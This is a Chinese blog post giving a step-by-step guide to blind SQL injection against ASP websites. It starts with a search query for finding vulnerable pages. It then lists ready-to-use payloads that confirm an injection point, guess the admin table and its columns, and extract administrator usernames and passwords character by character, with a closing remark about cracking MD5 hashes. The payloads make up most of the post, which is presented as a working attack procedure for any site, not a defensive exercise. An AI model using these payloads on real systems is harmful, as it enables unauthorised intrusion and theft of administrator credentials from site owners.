您的位置:首页 > 运维架构 > 网站架构

SQL网站注入步骤

2012-06-11 23:27 363 查看
首先用命令:inurl:{asp=1234} 检测一些有这样格式的文章(里面的1234可以替换其它数字。)
1、检测网站是否存在注入点;
命令:and 1=1(页面正常) 或 and 1=2(页面错误)
2、猜测是否存在admin、manager、users等相关命名的管理员表;
命令:and exists(select * from admin)
3、检测有哪些id值,方便根据id对用户名进行破译,相关id值可以替换;
命令:and exists(select id from admin where id =1)
4、检测“用户名”的字段名称,user_name字段可以替换;
命令:and exists(select user_name from admin)
5、检测“密码”的字段名称,password字段可以替换;
and exists(select password from admin)
6、判断相应id值(1)的用户名长度,返回正常页面证明成功;
用户名长度小于10:
and exists(select user_name from admin where len(user_name)<10 and id=1)
用户名长度大于10:
and exists(select user_name from admin where len(user_name)>10 and id=1)
7、判断相应id值(1)的密码长度,返回正常页面证明成功;
密码长度小于16:and exists(select password from admin where len(password)<16 and id=1)
密码长度大于16:and exists(select password from admin where len(password)>16 and id=1)
判断用户名和密码长度的时候均可采用二分法方法来提高猜解效率;
8、猜测用户名asc(mid(user_name,1,1)),这里猜测第一位,可以先判断是否汉字,返回正常页面证明成功;
判断是否汉字:
and exists(select user_name from admin where id=20 and asc(mid(user_name,1,1))<0)
命令:and exists(select user_name from admin where id=1 and asc(mid(user_name,1,1))>97)
ascii码:大写A是65,小写a是97,数字0是48;汉字具体ascii码要查表
9、接下来用同样方法猜测密码,要是密码采用MD5加密,那只能够用工具解密了。
[align=right]
[/align][align=right]
[/align][align=right]Jankie_俊健.[/align][align=right]-----------------------------------------------------------[/align]
本文出自 “Notebook” 博客,请务必保留此出处http://jankie1.blog.51cto.com/4869355/895784
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: